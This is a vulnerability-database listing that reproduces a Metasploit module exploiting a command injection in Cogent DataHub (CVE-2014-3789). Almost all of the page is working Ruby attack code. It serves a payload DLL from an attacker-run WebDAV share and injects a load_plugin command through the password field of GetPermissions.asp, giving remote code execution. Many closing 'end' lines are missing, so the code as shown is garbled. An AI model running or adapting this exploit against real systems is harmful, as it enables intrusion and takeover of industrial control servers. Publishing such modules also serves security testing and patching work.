发布 2014-06-25 漏洞条目

Cogent DataHub – Command Injection (Metasploit)

Exploit Source

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

# Exploitation is reliable, but the service hangs and needs manual restarting.

Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

def initialize

super(

'Name' => 'Cogent DataHub Command Injection',

'Description' => %q{

This module exploits an injection vulnerability in Cogent DataHub prior

to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which

makes insecure use of the datahub_command function with user controlled

data, allowing execution of arbitrary datahub commands and scripts. This

module has been tested successfully with Cogent DataHub 7.3.4 on

Windows 7 SP1.

'Author' => [

'John Leitch', # Vulnerability discovery

'juan vazquez' # Metasploit module

'Platform' => 'win',

'References' =>

[

['ZDI', '14-136'],

['CVE', '2014-3789'],

['BID', '67486']

'Stance' => Msf::Exploit::Stance::Aggressive,

'DefaultOptions' => {

'WfsDelay' => 30,

'InitialAutoRunScript' => 'migrate -f'

'Targets' =>

[

[ 'Cogent DataHub < 7.3.5', { } ],

'DefaultTarget' => 0,

'DisclosureDate' => 'Apr 29 2014'

)

register_options(

[

OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']),

OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' +

'(do not change)', 80 ]),

OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' +

'wait for the payload request', 20]),

OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])

], self.class)

end

def autofilter

false

end

def on_request_uri(cli, request)

case request.method

when 'OPTIONS'

process_options(cli, request)

when 'PROPFIND'

process_propfind(cli, request)

when 'GET'

process_get(cli, request)

else

vprint_status("#{request.method} => 404 (#{request.uri})")

resp = create_response(404, "Not Found")

resp.body = ""

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

end

def process_get(cli, request)

if blacklisted_path?(request.uri)

vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")

resp = create_response(404, "Not Found")

resp.body = ""

cli.send_response(resp)

return

end

if request.uri.include?(@basename)

print_status("GET => Payload")

return if ((p = regenerate_payload(cli)) == nil)

data = generate_payload_dll({ :code => p.encoded })

send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

return

end

# Treat index.html specially

if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)

vprint_status("GET => REDIRECT (#{request.uri})")

resp = create_response(200, "OK")

resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=|

resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

return

end

# Anything else is probably a request for a data file...

vprint_status("GET => DATA (#{request.uri})")

data = rand_text_alpha(4 + rand(4))

send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

end

# OPTIONS requests sent by the WebDav Mini-Redirector

def process_options(cli, request)

vprint_status("OPTIONS #{request.uri}")

headers = {

'MS-Author-Via' => 'DAV',

'DASL' => '<DAV:sql>',

'DAV' => '1, 2',

'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +

+ ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',

'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +

+ 'LOCK, UNLOCK',

'Cache-Control' => 'private'

}

resp = create_response(207, "Multi-Status")

headers.each_pair {|k,v| resp[k] = v }

resp.body = ""

resp['Content-Type'] = 'text/xml'

cli.send_response(resp)

end

# PROPFIND requests sent by the WebDav Mini-Redirector

def process_propfind(cli, request)

path = request.uri

vprint_status("PROPFIND #{path}")

if path !~ /\/$/

if blacklisted_path?(path)

vprint_status "PROPFIND => 404 (#{path})"

resp = create_response(404, "Not Found")

resp.body = ""

cli.send_response(resp)

return

end

if path.index(".")

vprint_status "PROPFIND => 207 File (#{path})"

body = %Q|<?xml version="1.0" encoding="utf-8"?>

<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype/>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<lp2:executable>T</lp2:executable>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>application/octet-stream</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

</D:multistatus>

# send the response

resp = create_response(207, "Multi-Status")

resp.body = body

resp['Content-Type'] = 'text/xml; charset="utf8"'

cli.send_response(resp)

return

else

vprint_status "PROPFIND => 301 (#{path})"

resp = create_response(301, "Moved")

resp["Location"] = path + "/"

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

return

end

vprint_status "PROPFIND => 207 Directory (#{path})"

body = %Q|<?xml version="1.0" encoding="utf-8"?>

<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype><D:collection/></lp1:resourcetype>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>httpd/unix-directory</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

if request["Depth"].to_i > 0

trail = path.split("/")

trail.shift

case trail.length

when 0

body << generate_shares(path)

when 1

body << generate_files(path)

end

else

vprint_status "PROPFIND => 207 Top-Level Directory"

end

body << "</D:multistatus>"

body.gsub!(/\t/, '')

# send the response

resp = create_response(207, "Multi-Status")

resp.body = body

resp['Content-Type'] = 'text/xml; charset="utf8"'

cli.send_response(resp)

end

def generate_shares(path)

share_name = @share_name

%Q|

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}#{share_name}/</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype><D:collection/></lp1:resourcetype>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>httpd/unix-directory</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

end

def generate_files(path)

trail = path.split("/")

return "" if trail.length < 2

base = @basename

exts = @extensions.gsub(",", " ").split(/\s+/)

files = ""

exts.each do |ext|

files << %Q|

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}#{base}.#{ext}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype/>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<lp2:executable>T</lp2:executable>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>application/octet-stream</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

<D:ishidden b:dt="boolean">1</D:ishidden>

</D:propstat>

</D:response>

end

files

end

def gen_timestamp(ttype=nil)

::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")

end

def gen_datestamp(ttype=nil)

::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")

end

# This method rejects requests that are known to break exploitation

def blacklisted_path?(uri)

share_path = "/#{@share_name}"

payload_path = "#{share_path}/#{@basename}.dll"

case uri

when payload_path

return false

when share_path

return false

else

return true

end

def check

res = send_request_cgi({

'method' => 'POST',

'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),

'vars_post' =>

{

'username' => rand_text_alpha(4 + rand(4)),

'password' => rand_text_alpha(4 + rand(4))

}

})

if res && res.code == 200 && res.body =~ /PermissionRecord/

return Exploit::CheckCode::Detected

end

Exploit::CheckCode::Safe

end

def send_injection(dll)

res = send_request_cgi({

'method' => 'POST',

'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),

'vars_post' =>

{

'username' => rand_text_alpha(3 + rand(3)),

'password' => "#{rand_text_alpha(3 + rand(3))}\")" +

"(load_plugin \"#{dll}\" 1)(\""

}

}, 1)

res

end

def on_new_session(session)

if service

service.stop

end

super

end

def primer

print_status("#{peer} - Sending injection...")

res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")

if res

print_error("#{peer} - Unexpected answer")

end

def exploit

if datastore['UNCPATH'].blank?

@basename = rand_text_alpha(3)

@share_name = rand_text_alpha(3)

@extensions = "dll"

@system_commands_file = rand_text_alpha_lower(4)

if (datastore['SRVHOST'] == '0.0.0.0')

@myhost = Rex::Socket.source_address('50.50.50.50')

else

@myhost = datastore['SRVHOST']

end

@exploit_unc = "\\\\#{@myhost}\\"

if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'

fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' +

'URIPATH=/')

end

print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" +

"\\#{@basename}.dll")

begin

# The Windows Webclient needs some time...

Timeout.timeout(datastore['WEBDAV_DELAY']) { super }

rescue ::Timeout::Error

service.stop if service

end

else

# Using external SMB Server

if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/

host = $1

share_name = $2

dll_name = $3

print_status("#{peer} - Sending injection...")

res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}")

if res

print_error("#{peer} - Unexpected answer")

end

else

fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' +

'\\\\host\\shared_folder\\base_name.dll')

end

作者: Metasploit
日期: 2014-06-25
类别: remote
平台: windows

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